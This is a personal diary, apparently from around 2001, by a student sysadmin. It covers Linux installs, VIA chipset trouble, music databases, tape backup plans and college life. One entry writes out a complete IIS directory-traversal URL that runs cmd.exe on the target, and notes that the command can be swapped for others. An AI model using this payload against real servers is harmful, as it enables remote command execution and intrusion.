I've been writing down a lot of stuff for work, trying to organize my thoughts about what we're planning to do this summer (since many projects end up getting pushed to the summer months, when students aren't taxing the systems as much).
Well, anyway, I don't want to dwell on my depressing thoughts too much -- If I think about it too much, I just shut down. Better to just get my work done.
So much stuff I want to spend money on.. I want to go out and get a new processor and motherboard, since my current board is behaving badly (VIA MVP3), though I still haven't really figured out why. If I have energy tonight, I might go and try removing my SCSI card, my SBLive!, and swapping my Matrox G400 for a PCI video card, just to see if it changes anything..
I've played with some BIOS settings, and I just read about a few more I should probably try, though people have mostly been talking about Athlon chipsets, while the MVP3 is a K6 chipset. (PCI Delay Transaction: off, PCI Master Read Caching: off) I also heard that some people had better luck compiling the kernel for 586, rather than K7. I've been compiling 2.4 for K6, so maybe that would help.
It would be extremely fun to get a dual-Athlon with DDR memory. I've wanted a dual system for a long time, though maybe there isn't much point to it. Also, these new processors use a lot of electricity (~70 Watts) and therefore throw off a lot of heat. Therefore, I'd need to get a new case and probably a new power supply. Hopefully my hard drives are OK. Hmm.. If I get a DDR motherboard, I'll have to get some DDR RAM.
It'd be cool if I could also pick up an HDTV tuner card. With the prices of actual HDTVs, I won't be able to buy one for a while, but putting down ~$400 for a PCI card wouldn't be so bad.
I should also get an Uninterruptible Power Supply -- The power just blinked off for a second the other day, forcing me to go through some annoying fscks..
Let me take a look at the local prices..
And I can get a WinTV-HD card online for $385. Of course, none of this includes shipping or tax.
Without the HDTV card (which probably doesn't work in Linux anyway), that comes to about $740. Add tax, about $785.
Hmm.. This thought has been brewing for a while. I have slowly come to the realization that my mind can only handle one stream of words at a time. Well, I can handle more than one, but I can only interpret one at a time. This is why I can't talk on the phone while watching TV, or read a book when music is blaring (music with words, mind you).
Maybe this is why `classical' music supposedly helps people think. I really like to have music when I'm studying or trying to think, though if I start paying attention to words, everything pretty much comes crashing to a halt.
Anyway, I'm sure a lot of other people have come to the same realization already.
I posted my first article moments ago. It started off as a diary entry, but I figured it was long enough and actually structured enough to become an article. I suppose it's mostly just a rant, but maybe it will spur on some intelligent thought (it begs the question, was it an intelligent thought in the first place?)
Random ramblings..
I've been thinking about my article and the replies to it. Maybe this is why I got confused about my major -- Computer Science. All of my classes have been dealing with stuff I really don't care much about. How many times do I have to write a routine to integrate a function, or sort data into a binary tree? I'm much more interested in getting computers to do more work for people, not making programmers do the same thing over and over.
People keep bringing up the fact that Linux is largely based on 30 year old technology. Obviously, that isn't entirely true, since Unix systems have robust networking capabilities (though TCP/IP is still 20 years old or so). Still, we have to put it in perspective. When a corporation makes an investment of many millions of dollars, they generally expect whatever they paid for to last. Today, airlines fly planes that are decades old, though no plane that old is still flying in its original configuration. Strip mining companies have huge machines that last the lifetime of their operations, and those machines are often updated with new sensors and other technology as time goes by.
Unix is much like the framework of these massive machines, a skeleton on which everything else hangs. Sometimes, a major component is changed or replaced, but the basic framework is still there.
It can take a decade or more to design and build a new airplane, ship, or building. When people want to create new operating systems or environments, the same care must be taken. This is difficult to handle, since computer hardware progresses so rapidly.
I suppose I should be careful, because some very complex things have been designed and built in a very short amount of time. Builders of cruise ships can go from an empty wharf to a gleaming vessel in a matter of months. They accomplish it through componentization. The same idea has worked in the past with software projects, but software often has some very complex interfaces between components, and I'm not sure if anyone has figured out how to make that easier.
Part of the problem on Unix is that some components seem to be absolutely huge, and that many of them barely interconnect to each other at all. Many people don't realize how extraordinary the simple Unix pipe system is. If that were extended (as was apparently done in the Plan 9 and Inferno operating systems), some very interesting stuff could be done by basically just stringing commands together. When we think of building a program out of components today, we generally think of libraries and functions that are compiled into or otherwise linked to a binary program file.
What if you could combine GUI elements with just a command line (or, at worst, a description in XML)? Make a new e-mail program in hours or days. Building a GUI interface to your database would be just as fast as building a Web interface.
I think that's what people are trying to do with Bonobo and other component architectures. However, I believe that a lot of people are being hampered by their operating systems, be it Unix or Windows (I'm not sure where MacOS fits in anymore...). Fortunately, operating systems of today are flexible enough that many of these things can be grafted on, but just as it would be very hard to retrofit a 747 to do Mach 3, it will be hard for Unix and Windows to keep up.
Update a moment later
It seems to me that the reason Web interfaces are taking off so much is that web pages can be powered by scripts that can take advantage of componentization that is much easier to use than what you'd get by programming in C or almost anything else these days. When you're running a script on a Unix system, you can pipe data here, there, and everywhere. Still, even the web systems are pretty crufty..
My first `real' job was at a printing company in my hometown. When I started there, my job was to take a bunch of old 286, 386, 486, and Pentium systems and shuffle them around so we only had 486s and Pentiums. In the beginning, almost everyone (except the programmers and network admins) had diskless workstations that booted off the network. It put a heavy strain on the servers, though, because each person had their own copy of Windows 3.1 (oh, before I forget, this was in 1997). Many of the workstations (the ones out on the floor, for instance) just ran DOS and a scripting system called Metaview.
The irony of it was that even though we were moving forward by installing hard disks and putting a (mostly) 32-bit operating system (Win95) on these computers, we were in fact taking a large step backwards in the ease-of-administration department. Since most of the systems were similar, you could log into almost any of them with your regular username/password. When we installed the OS locally, that was no longer the case. Well, you could do some stuff, but you didn't have your familiar desktop and other configuration information.
In businesses and other large organizations, we see the same problem. There are people out there trying to fix it, such as Sun and IBM, with their thin-client systems, but I don't think enough people are seeing these problems in their proper light. Microsoft seems to be ignoring the problem, but then again, I don't really like to keep watch over what Microsoft is doing (besides, it's a pretty huge company at this point).
I'm not sure if Linux is the solution, at least not the Linux we see today. IMHO, the Unix user/group model is a little too simplistic. I think a larger hierarchy system might be in order. Of course, the more complex your user/group system, the less likely people are to use it. Hell, the Unix user/group system is usually not put to its fullest potential. Beyond that, I think a good caching network filesystem would be good for client systems (for example, when you run Matlab, it would copy the files it used to the local disk, so they will load up quickly the next time).
Well, it all depends on how much money and time people want to spend dealing with this stuff..
Update, a few hours later
Hmm, maybe I'm really looking for Plan 9 or a similar OS. I remember that I gave Inferno a half-hearted try a few years ago, but it would seem to me that it would be best to use an operating system that has been largely designed to work with the C programming language (well, plus others, but..)
It seems there are some really good ideas out there regarding distributed computing.. Makes Beowulf look really lame, IMHO..
Linux has been a really good system for me. However, I started using it because it was stable, 32-bit, and because it supported my SoundBlaster 16 (when OS/2 did not). That's not enough of a reason for me anymore. I want an environment that helps me to collaborate with others by allowing me to easily and securely share data and messages, keeps my data, documents, and media files organized, and helps me remember when I have homework due ;-)
So, Linux and other Unix-like systems suck. They just suck less than Windows and many other commercial OSes.
Allow me to qualify my statements.. Unix has had many technologies tacked onto it. Since it started its life in a manner somehow resembling Open Source/Free Software, it was easy to change the source and add new things. However, the core ideas of Unix did not really change.. Networking is fairly well integrated, but it is obvious that the graphical system (X Windows) was duct-taped to the side of the system.
Now, I just have to find more people that feel the same way.
Oh yeah, I put down some ideas on what I think a next-generation operating system should be like. Actually, my ideas went beyond the operating system itself and into the area of the `operating environment,' through which the user interacts with the system. On so many OSes, the developers forgot that people actually need to use the system. Hopefully the next big thing will address those issues properly..
Early/Late
Well, I re-installed RedHat 7.0 on my box. I wanted to try Debian on my box, but I didn't feel like going through the configuration bits associated with a Debian install, plus I didn't have a Debian CD readily available. I thought about getting RedHat 7.1, but it seems that everybody is heavily bogging down any servers that have it, and many servers don't even have complete mirrors.
Anyway, I'm installing Ximian Gnome 1.4 at the moment, which might not be the greatest idea in the world. Annoyingly, these installer programs open up the RPM database while they do their thing, and never close it unless they finish.. So much for querying the database for other info.. Kind of lame.
Ugh.. Why doesn't my Backspace key work? For some reason, I have to ^H my way through X Windows. Must be because I use the Dvorak layout.. No sane person would release an OS with such a flaw..
My VIA chipset bugginess (the reason for the re-install) only seems to show up heavily in Linux 2.4, though I think that some variations on Linux 2.2 could get it to show up to, such as when I added in ReiserFS support. Anyway, I just have to be careful from now on. I just hope it gets better...
Well, I should really roll into bed, though I'd really like to get X working with Xinerama again before then, just so my regular desktop will greet me in the morning.. Still..
Afternoon/Evening
Well, I got RedHat 7.0 back in working order. It's been pretty much impossible to access RedHat mirrors. The one I've been able to access regularly (ftp.rutgers.edu) has not been terribly fast, and it only has packages for 7.1, none of the 7.0 updates. Hey, that's what package management is for ;-)
Anyway, I've got X 4.0.3 running, along with Ximian Gnome 1.4. I managed to update some important things that actually talk to the network (ntp, ssh, X), and I had to update glibc to get some Guile apps working right, but things seem okay now. I just wish it hadn't taken so long.
Red Carpet isn't working yet -- the servers are too busy for it to download anything, even just the channel information. While I was dealing with the Ximian installer, though, I was wondering why these apps want to put a lock on the RPM database for the entire time that they are open? Certainly, someone could come in and change things while the program was downloading stuff, but the locking mechanism is so heavy that I can't even query what packages are installed and other useful info.. Oh well.
I tried using Nautilus. Heh. I couldn't even open a window, though maybe that's because I had an older glibc.. Hmm. Now, I'm trying to fix some special keymappings I cooked up with the extra buttons on my keyboard. I use the Wake, Sleep, and Power buttons to move forward a track, backward a track, and to start the music playing. The Pause button is what I use for stop.. Anyway, X is seeing the keycode and putting up the right XKeysym, but it's not giving the right button name.. Oh well, I'll get it working again sooner or later.
Anyway, one of my female friends called my apartment this afternoon -- I guess she's going to be an aunt soon. Of course, she also has homework to do tonight (30 page paper), so hopefully that news won't prevent her from getting things done..
Speaking of getting things done, why the hell am I writing this instead of doing my homework?
I think maybe I should put together a simple system (probably w/ an SQL database and a PHP front-end) where owners of troublesome VIA motherboards can go and catalog their hardware. Maybe there's a common thread somewhere.
Unfortunately, I don't think I'd have anywhere to put it. I could run it on my box, but I don't want to worry about someone hacking my system, etc. Also, I'm not sure if my ISP would get mad at me for doing that. I never signed anything terms-of-service agreement with my ISP, it's just a connection I get through my building..
Oh well, the traffic probably wouldn't be significant enough for them to care. If I was serving tons of music, OTOH...
Anyway, I guess I'll see if I can set something up.
Well, I haven't been doing much lately. I should have done some homework today. Heck, I should have done some of it a week ago. I'm really not enjoying my schoolwork this semester, and it looks like that will be evident in my grades. Oh well, in two weeks, I will be able to spend time at work fixing real problems and putting together real solutions. I enjoy that so much better than running fifty tests to see which algorithm is better at finding the integral of a particular function..
I would like to have a less stressful school year next time around -- I want to actually get a life this fall. Who knows if that will happen. Still, it seems that college is a last best chance to get a girlfriend before I wander out into the real world. Speaking of which, my roommates, another friend, and I have all been getting to know this one girl lately. It's pretty weird for me, as we're all competing for her attention. My friend has been hanging around with her the most, though he's going to move into the apartment in the fall. Just a weird situation that I've never been in before -- I just hope it won't bring out the worst in us..
I ended up being pretty helpful in my LUGs today.. I guess the questions being asked have just been about things I know.. Anyway, hopefully I've actually been helpful ;-)
gweather is funky -- it's behavior is different lately. I had submitted a patch a while back to get weather radar images directly from National Weather Service servers, but I guess nobody liked it. I also made a patch that would include Wind Chill calculations. *shrug* They added radar images from weather.com, but they're apparently pointing at images that are from January 5th. Oops.
It'd be really cool if that app could be developed further, into something like WeatherBug, only less gimmicky and without all of the ads ;-) Since I live in Minnesota, where the weather is always changing, it'd be nice if it supported weather watches and warnings, but who knows if that'll ever happen. Historical data would be cool too -- if you could get some simple graphs of the temperature in the last day or week, it might be useful. (sidenote -- is anyone ever going to write a replacement system for Gnuplot, or have I just not been paying attention? Gnuplot is somewhat misnamed, for those wondering -- it's not GNU.)
Actually, the best thing that could happen would be if a good system could be set up for multicasting weather data from the National Weather Service to everyone who wants it.. I know they do that for some people that already have dedicated connections and special software, but it would be cool if it could be on a larger scale. The NWS actually spews out a few gigs each day, IIRC. Of course, most of that data is useless to the layperson. I suppose it would be best to create some specialized `packages' that include a few radars, the watch/warning messages for a state or three, and so on.
Anyway, on to other stuff..
I noticed a while back that GTK+ has problems recognizing the size of my second head. Menus and things can drop down into the `blank' space below it (my first head is 1600x1200, the second is 1280x1024, so there's a 1280x176 area of dead space). Of course, all of the toolkits I've seen have problems with it..
I'm still trying to figure out how to properly set up a music server/database. I want it to be easy to find the music you want, I want to properly credit the people who made the music. For instance, `South Side' by Moby and featuring Gwen Stefani should go where, exactly? Should a search for Propellerheads return results where they remixed a song, rather than creating something original? How do I avoid counting songs twice, especially when just making a simple playlist for XMMS? Also, how easy is it to automate the `beautifying' of filenames and ID3 (etc.) tags? What genre does this song fit in?
Maybe someone has found an answer to all of my questions, but I kind of doubt it.. I don't know why I'm anal retentive about my music collection. I just am. Of course, I'd also really like it if I could find a very good DJ program that could properly choose the music for me. It never ends..
I added a few quips to bugzilla.gnome.org. Hope people like them..
Oh yeah, I've been considering sending a note to LKML regarding some funny behavior with named pipes. My .signature file is a named pipe, so I can get random sigs attached to my e-mail messages. Strangely, in kernel 2.4 (and late 2.3.x as well, IIRC), the signature will occasionally `double up' -- I'll get four lines of signature (normal), and then those four lines repeated again. If you've been having trouble with named pipes in 2.4.x, this may be why. Of course, the program that powers the whole mess is a piece of junk that I wrote in two hours, so I suppose I should really re-write it first.
kgb: I've seen my computer lock up many times with xscreensaver, though I haven't tried RedHat 7.1. Sometimes, it was because I was running OpenGL stuff. Other times, it just randomly happened. I think I can still blame it on my kooky VIA chipset.
My system has RedHat 7.0 on it now. I've been thinking about trying one of the new 2.4.x kernels, just to see if the VIA chipset problems have been resolved at all, but I've been a bit scared to do that. Also, my build environment doesn't appear to be set up right yet, as the last time I tried, the compile died pretty quickly..
I see that AMD is continuing to drop prices on their chips, so hopefully a T-bird will be coming my way soon. I just hope the chipsets are better on the newer systems.
Anyway, I just got out of a meeting for work where there was a presentation of our new ``data warehouse.'' It's an Oracle server that contains all sorts of stuff regarding what goes on here at the University. Course evaluations, some scheduling data, etc. It'll be really interesting. My job is to help manage the box it runs on.. Hopefully we will be able to keep it secure and properly backed up.
Still, the presentation (using Oracle's Discoverer) gave me a bunch of ideas. Man, I wish I could have gotten into a database class -- that's so much more interesting to me than compilers and numerical computation stuff.. Of course, I'd mostly just apply that knowledge to creating a good music database.
I think, though, that the presentation showed me how good it can be to have well-structured databases. Is a simple database of ID3v1 tags any good? Hell no! Those tags don't contain enough information to be very useful. Heck, you can't even fit the names of some bands, songs, or albums in them. ``The Presidents of the United States of '' Hmm..
I saw that they had applied the idea of aliases to course evaluations. Do you remember how to spell your professor's name? For some reason, those misspellings were put into the database verbatim. It can make the data get really messed up, but aliases seem like a good way to clean it up. Of course, it does seem like the Micros~1 way of doing things (sorry about that pseudo-pun..)
Anyway, I think I'll have to do something like that, just so I can keep my music like ``Amos, Tori'' and my roommate can have his set up like ``Tori Amos''..
I think I'll have to find myself a good SQL book.. I should learn more about transactions, too. If I understand correctly, they make database operations more atomic, so client program code doesn't have to do as many multiple queries.. They can kind of be stacked together, making the database do more of the work, cutting down on traffic between client and server, among other things.
Just 8 days until my last final of the semester!
Hmm.. Can I put my DNA under GNU GPL? I suppose I have to figure out how to publish it first ;-) Actually, I don't think I'd like a GPL-like license for my DNA -- I'm not too big on the idea of modifying it, except through natural processes. Verbatim distribution permitted..
I'm just trying to figure out how to combat Microsoft's funny behavior lately. Perhaps a big campaign -- posters, t-shirts, bumper stickers, etc. all bearing the slogan ``Democracy is Open Source.''
I like that one.
I'm discovering that a girl I know is basically turning out to be a muse for me. Unfortunately, I have no control over when she shows up (she's a girlfriend of a friend), and thus my motivation is as chaotic as ever. Ugh.. So confusing. If only life came with a manual page.
LIFE(8) Universe Programmer's Manual LIFE(8)
NAME
life
SYNOPSIS
live; die
DESCRIPTION
Life is spawned. It does stuff, then dies.
BUGS
It's difficult to get working right. This manual could be
spruced up a bit, too.
Anyway, I had a good day, though. Went to the local LUG's meeting on OpenNMS. It looks like a really nice tool, but you really need some horsepower to run it. It uses Java, which is part of the problem. The good thing is that it seems to be pretty portable -- you just need a few hundred megs of RAM, a fairly large hard drive, and a few hundred MHz. I think I'm going to stay with Netsaint for now.
I hung around with a friend from High School for most of the afternoon. We discussed a lot of stuff, though it largely centered around computers. I don't think I've `geeked out' for a while, so that was nice. He's having trouble finding a job, though I guess he's not very sure if he wants to get a job doing computer stuff.
He totally agreed with me that it appears that one problem with electricity generation in this country is that it's too centralized -- something like 2/3rds of the electricity evaporates before it reaches customers. Decentralizing power is probably better -- no need to worry about the losses of sending power huge distances. Of course, I don't know if there are enough people to manage a lot of small power plants or fuel-cell shacks effectively.
Well, if I can find some motivation, I should do some studying for my finals this coming week..
Later
Why the hell isn't anyone running IPv6 or Multicast yet? Is having support for these things in all modern host and router operating systems not enough? sheesh..
I listened to Richard Stallman's recent talk at MIT, Copyright and Globalization in the Age of Computer Networks. It seemed pretty good, and I'm considering burning it onto CD (after converting Ogg/Vorbis->CDDA) and sending it into at least one of my national representatives. That led me to look up the definition of `verbatim,' as Stallman always says something to the effect of ``verbatim distribution permitted.'' I was worried that it meant that I wouldn't be able to change the audio format, but Merriam-Webster defines it as ``in the exact words,'' or ``word for word,'' so I shouldn't have to worry, since the words are preserved.
The idea of putting the speech on CD made me think, because I believe that CDs are supposed to support audio other than stereo 44.1kHz audio, but who knows how many players actually work with different formats. Regardless, cdrecord doesn't appear to support anything else, so I figure I'll just convert from mono 44.1kHz to stereo. This has the unfortunate side effect of making it fit on two CDs instead of one, but that's survivable.
A while later, I was wandering over to NPR's web site to listen to their news report, and I was wondering how well they might be able to transition away from RealAudio and Windows Media, so I made a simple test stream to see how low bitrate Ogg/Vorbis files sound. The output was not as good as I was hoping, and I could only convince it to go down to about 16kbps by using 8000 kHz audio, mono, 16-bit input. It seems to require about twice as much bandwidth as RealPlayer to produce the same quality output. Obviously, this is because the Xiph folks haven't optimized it for low-rate stuff yet..
I did some searching for low bitrate voice encoders, and it looks like GSM is the most popular method. I used sox to encode the same input, and the output quality of GSM seems to be pretty similar to Ogg/Vorbis, and the bitrate ends up being pretty close, as GSM works at about 13kbps. Oh, before I forget, I just used `sox' and it's accompanying script, `play', to encode and play GSM audio.
This is also tangentially related to my short comment yesterday. I wonder when we'll finally see multicast get more widely deployed. I guess it'll be around the time I get myself an IPv6 address, which should be shortly before Mickey Mouse lands in the public domain.
Later
Hmm.. I should make a GSM input plugin for XMMS. Heck, a GSM output plugin wouldn't be that hard, either. Actually, I suppose a generic plugin that can just run sox might be good, too..
Actually, I think the whole development of audio and video should become somewhat more centralized. Individuals or relatively small teams would work on each codec, but it would all fit into a larger architecture. Of course, I'm not the only one that had that idea, which is why we have GStreamer and other projects..
Looking beyond the player and back to the input stream, I'm thinking that an effort needs to be made to generalize the streaming formats out there, so many things can be streamed much more readily. GSM audio, for instance. There's probably been significant effort put forth in that area, though I think the `generic' streaming formats have not really been that generic. QuickTime and MPEG2, if I recall correctly, are examples where this hasn't quite worked out right. Anyway, I suppose there has to be a distinction of sorts between unicast streams and multicast streams (again, note that multicast has not been as widely deployed as it probably should be..)
bleh.. I'm writing too much, and not studying enough..
voltron: Yeah, I have gone through some periods here at college where I haven't dreamt for months. I don't notice until I meet someone new or actually do something intellectually stimulating and then have a very vivid dream. Shows how interesting I find college..
Some people laugh about things like `dream analysis.' Heck, I do too, but I think our society forgets that dreams are a natural fsck, clearing out the junk in our heads and helping us to re-index everything. Certainly, the content of dreams can be interesting, but if you aren't having any at all, then something's probably wrong about your environment...
Heh, it seems like I and plenty of others need some sort of ``Geek Guide to Sanity'' which outlines some good ways to stay productive and motivated without driving ourselves nuts. Things like getting outside at least once every day or two, and finding things to do that can stimulate the dreaming process.
Personally, I need to find a way to keep from locking up when I reach a certain stress level. When my `todo' list gets too big (and sometimes, this means just a few things), I find that I just can't get started on anything. I have a theory that getting a girlfriend would help, but I'm too heavily introverted for that to happen anytime soon (and, obviously, significant others can often add a lot of stress at inopportune times..)
Too bad it's so much harder to fix the bugs in life than it is to fix the bugs in software..
I think I've figured out why it's so hard for me to succeed here at college. I guess it's not just one thing, but a combination (well, that's obvious). However, I'm pretty sure I've found a significant combination that has caused things to be really difficult for me.
I grew up in a fairly small town, only two or three thousand people (it's hard to get a good number, because it's been growing rapidly for the past 20 or so years). The number of people in a grade usually worked out to somewhere around 100. When you see these people every day, year after year, it's impossible to not get to know them. No matter what class you take, you'll see people you know.
I made a rather silly mistake of going to a large college, the University of Minnesota. I've never been able to pin down the numbers, but there are something like 40,000 people enrolled here. When I came up for orientation and whatever, we had student guides tell us that this place could be as large or as small as we'd like -- depending on how you make friends and where they are, you can have a large community around you or a small one. It's pretty true. However, I forgot to notice that these student guides are probably fairly motivated people that tend to make friends pretty easily.
I'm neither of those. I don't have any natural charm or anything, so if I get a friend, it's not because I made an effort or anything. This has made it hard for me, since I don't share classes with anyone I know. In other words, I let this school get too big for me.
Unfortunately, now that I've been here for four years, it's kind of hard to change my ways. I suppose now that I've made the realization, I may be able to correct for it, but I'm not sure.
I'd rather just go and get a job at a small to mid-sized company, where I can see the same people every day and get to know them. Well, at least I'll be able to start working a regular schedule again on Monday. Maybe I'll have to make a greater effort to hang out with the people there, even though all or most of them are older than me (I think).
I wasn't very coherent yesterday. My thought process might be a little easier to understand if I turn it around.
When I have people in my classes that I know, or that I get to know through group work, I do a lot better than when I don't know anybody and when I am not allowed to work with anyone.
This semester, I have been pretty much stuck on my own, and I think this is a low point in my college career. I'm enjoying other parts of my life.. It's just when my schoolwork comes crashing down on me that I get really down.
Anyway, like I've been saying for a while, I'll be happy to have my job and be able to do real work this summer. Hopefully I just won't work myself into the ground ;-)
I've been trying out Konqueror. It's pretty fast, and doesn't bog down my machine much if at all when it runs. I think it even uses less resources than Netscape 4.77. Unfortunately, there are a few things I really don't like.
I really prefer to have the `Back' option be the first on the list when right-clicking on a web page. Konqueror has `Up' there, which kind of works, but not quite. `Back' is sitting just below that. Secondly, when I tell the browser to open a link in a new window, either by middle-clicking or by going through the menu, I prefer the window to be `cloned,' at least in terms of window size. At the moment, doing that will open a new window that is wide and short.. At least there is a `Duplicate Window' option on the `Location' menu, so I've been doing that and then dragging a link to the new window. Lastly, fonts continue to be an issue. At least with Netscape, I can decide to largely ignore the fonts that web sites tell it to use, and just use helvetica and lucidatypewriter.
I don't understand why Advogato uses lucida as a font, because Unix systems seem to frequently pick a monospaced font for that.. I really don't enjoy reading large amounts of material that is monospaced..
Oh yeah, I'm posting this through Netscape because I can't log in through Konqueror at the moment...
Moments Later...
Okay, so I figured out how to fix some of the problems. Advogato was just acting funny, I guess, and I can save the window size by using the `Control View Profiles...' option on the Window menu. The fonts are still ugly, though. I had tried to get Render support working, but I'm not sure if I have munged the right files and environment variables..
Well, everybody's moving out. At least it means that the traffic has died down around here. I have a friend who will be moving into my apartment with me and two others this fall. He dropped off some stuf that he doesn't need this summer (he'll be a climbing instructor at at a camp, I guess). I've tried to pile it into a small corner, but I had to be careful since that's where the air-return vent is..
He left last night with his parents, and his girlfriend left earlier in the afternoon to go to her hometown. She's going to be working at a paper company where she'll probably have a near-death experience or two. Shoving around rolls weighing hundreds/thousands of pounds is not my idea of fun.
I'll be going in to work tomorrow, and all week! Hopefully I won't bore myself to death. I'm also supposed to pick up a good system for running Windows (needed for testing client connectivity to the Unix systems). Perhaps a laptop, which might be fun. I've been surviving with a P166 running Linux (though it has 128 Megs in it). There are just a bunch of projects that require box capable of running Win2k.
Well, called my Mom, though I didn't say much. I'll have to find a present for her, for when I go home in a few weeks. I also have to get gifts for my brother and my Dad, since they both have birthdays this week.
Grr. We're getting rid of two Linux boxes. One of them I couldn't care less about. Actually, I don't care much about either of them, but it means that we will be down to one Linux server, with a bunch of Solaris boxes. We're also picking up a HP/UX box to be a web front-end to our Oracle server.
I'd rather see more Linux rather than less, though a lot of that is probably because I don't understand Solaris very well. Linux is far more user-friendly, so perhaps we're trying to annoy the users? I dunno..
Of course, we need systems that can actually run Linux and the right software. Mathematica for Linux on UltraSparc? Yeah, right. Hell, they won't even port to the Alpha, though there apparently is a LinuxPPC version.
The new Sun box is going to be connected to an existing RAID bank as a failover mechanism. I don't know how well that's going to work. It would be much safer to get Linux going so that we could run GFS. If we accidentally had two Solaris systems mounting the same partition at the same time, really bad things could happen.
We do need to get at least one Linux box in the server room. In the very least, we have found that we need a system that can monitor the temperature in there (the A/C went dead on Friday, and has been causing problems).
I've also been trying to muck with Oracle a bit, but I don't have any permission to the views or tables. They had changed the system password because of sensitive data being stored there, and I can't grant myself any access anymore.
Our network is so screwy here.. I wish I could tear it down and start over again, but I'm just a little peon.. Besides, I'm just annoyed that I can't play with Linux as much as I'd like to...
The Windows folks here have been running around trying to get their Lotus Notes mail hub up and running again. It must have at least a few cool features, but I'm not sure that it's worth the trouble they have with it. I just have the servers set up to forward mail to me, though they apparently don't understand ESMTP's ETRN command..
The bad thing was that they didn't have any secondary MX hosts set up until last night, so mail hadn't been flowing much at all..
I just picked up a DAT drive from my boss. I might have to take it home and play with it.
Hopefully I will be able to pick up a new computer for my office later today. I need a Win2k system. I might be getting a laptop.. We'll see.
Obsolete
I've been playing with some old tape drives by hooking them up to an old Sun SPARCServer 20 (a dual 50MHz system, IIRC). There's a DAT drive (DDS-2) that seems to work pretty well, though it's fairly slow. Apparently we have piles of media laying around somewhere, and the amount of storage (somewhere between 1 and 4 gigs) is good for backing up some of our smaller systems.
I'm in the process of erasing an 8mm tape (I laughed when I saw that it could take 8mm video cartridges) to see if we can expect any level of reliability from that drive. I guess it can handle tapes of 5 gigs or so, though I'm not sure if that's compressed or not.
We're trying to set up a backup procedure that can go over ssh or another secure channel, so this old SS20 doesn't quite cut the mustard. I think we're going to get a SCSI card for a 333MHz Pentium II system that we have. It should be able to handle it just fine.
Of course, the problem is that we don't have a good backup utility. I've been looking at Amanda, but that just seems to be more than what we need. I think I'm going to do something simple with tar. The problem with tar is that there isn't a quick way to get a listing of the files in the archive. I figure I'll just run `find' and dump the output to the tape before running tar. That way, we'll have alternating `files' on the tape -- a directory listing, then the tar, a directory listing, tar, etc.
If I get ambitious, I think I will take some of the ideas from Amanda, but just leave out their scheduling system. The `scratch' partition sounds like a good idea to me, though I don't know if I'll ever find enough spare storage to do that here. In order to keep track of what files are where, I'd like to have a decent indexing system. That index data could be put both on the tape and on the tape host. Knowing where a particular file is hiding is very important. Hmm.. We do have an Oracle database ;-)
GNU tar can apparently go in a `dry-run' mode, where it just reports what the size of a dump would be. If I use non-compressed tapes, but just have tar report the size to me, then I will know when space is running low.
Amanda sounds really good, but it seems to take just a little too much control away from the operator (knowing what data will go on which tape at what time, for instance). Then again, I haven't managed to set it up yet. Maybe appearances are deceiving.
Moments Later
My boss just showed me an interesting IIS exploit. Just point your browser at http://some-iis-host/scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir to get a directory listing. Heh. Just change those last three letters to do more interesting things than just dir.
I wonder what it would be like if we could get everyone to shut everything off for a day. I guess it'd be quiet -- that'd be nice for once. No car, airplane, A/C, or other noises.. It'll never happen, though.
Anyway, I picked up a laptop that we're thinking of using as a `console' for our Unix boxes. Unfortunately, we can't really use it for a true console, since we don't have the appropriate hardware to hook up all of the serial consoles.. We'd also need to use a PC for that (using a multiport card from Cyclades or somewhere). A laptop's not going to do it.
Still, as soon as I get a floppy drive for this thing (it can't boot off the CD), I'm going to put a minimal Debian on it.
I'm still thinking about how to properly do fairly simple tape backups. I thought it would be nice to put a header on the tape, but I don't know how to do that on a drive that likes to compress things. I guess it'd just have to be something really simple, that will always fit in a single block or something. Keep it under 512 bytes, and it should be okay, though I think it would require some testing..
I'd probably just do a simple header:
TapeID: daily-incremental-1 NumArchives: 2 Archive: somewhere.com:/home:gnutar Archive: somewhere.com:/usr:gnutar/gzip
The layout of the tape would be something like:
I did some searching on Freshmeat. Looks like some people have had similar ideas, though I don't know how well they've been fleshed out.
I think that there haven't been many backup systems for Linux because it's usually so expensive to get tape drives. They require a decent investment, and often need SCSI, which a lot of people don't have.
I might have to pick up a 4 or 8mm drive for myself. The prices don't seem quite as outrageous to me anymore, but then again, I've been desensitized to computer hardware prices by working at a place that has a couple of spendy Sun boxes.
I sent off a note to sales@alphapoweredlinux.com, just to see if anyone is home (their site hasn't been updated since 1999), and whether they'd be willing to just let me buy an Alpha CPU and motherboard. Even if I could cut a deal, it's probably still much more than I'd like to spend. I probably have enough money to buy a decent system, but the money I have in the bank is one of my security blankets..
Anyway.. I'm talking too much.
manuel: Nice to know there are others out there who are somewhere in between backing up a single system versus a huge cluster ;-) And, don't worry about your English -- I think you probably write better than I do..
I sent an e-mail off to an Alpha reseller (not the folks I mentioned yesterday), trying to find out what it would cost to get an Alpha board that had AGP on it. I got a response back -- the guy thought there weren't any Alpha boards with AGP. I had to point out two to him: UP1000 (discontinued), UP1100. They're boards based around AMD's 751 chipset -- the same chips that are in some Athlon boards (recall that Athlons use the Alpha's EV6 bus, so some of the parts are fairly interchangeable).
Of course, I'm really scared to see what the cost is. I know I can afford an Alpha 21164 (the folks I'm talking to have a 21164 ``Cheap Alpha'' for $650), but I don't know about the 21264, which is what the UP1x00 boards support. Even though an equivalent Athlon board would cost $100, I'm probably looking at a 10x jump.. Damn economies of scale...
Well, I'd better go. My boss just told me to check two of our Sun boxes for any sort of logs that would indicate how/where the sadmind/IIS worm has been moving around. Hopefully, those systems weren't compromised, but I guess that there are some very significant problems with IIS right now (all of the web servers here have to be reinstalled, apparently).
Afternoon
I guess we're getting a 5% discount on a Sun E220R since we're trading in an old SPARCStation 20. $1000 for a slow old SS20? Sure, I'll take that ;-) Of course, this probably means that we're getting roally reamed on the 220..
Spent several hours compiling Gnome on Solaris 2.6. Then I discovered that I can't finish because gnome-vfs needs recursive mutexes for threads, which don't exist on 2.6. 7 and 8 have them, but there's a chance that the system will deadlock when using them. Heh, fun.
Anyway, it was still an interesting experience. Even though I was compiling on a fairly old operating system, it appeared to work almost flawlessly up to this point. Of course, I had to update some of the other software on the system (texinfo, gettext, etc.), but all in all, it was very simple -- just the basic ./configure; make; make install.
Didn't hear back from the Alpha guy, so who knows if he's just ignoring me now or what. Then again, maybe he didn't even work on Friday or something.
Looks like we might be getting rid of both of our old Sparc 20s. Strangely, I think I'll be sad to see them go. I hope they find nice homes.
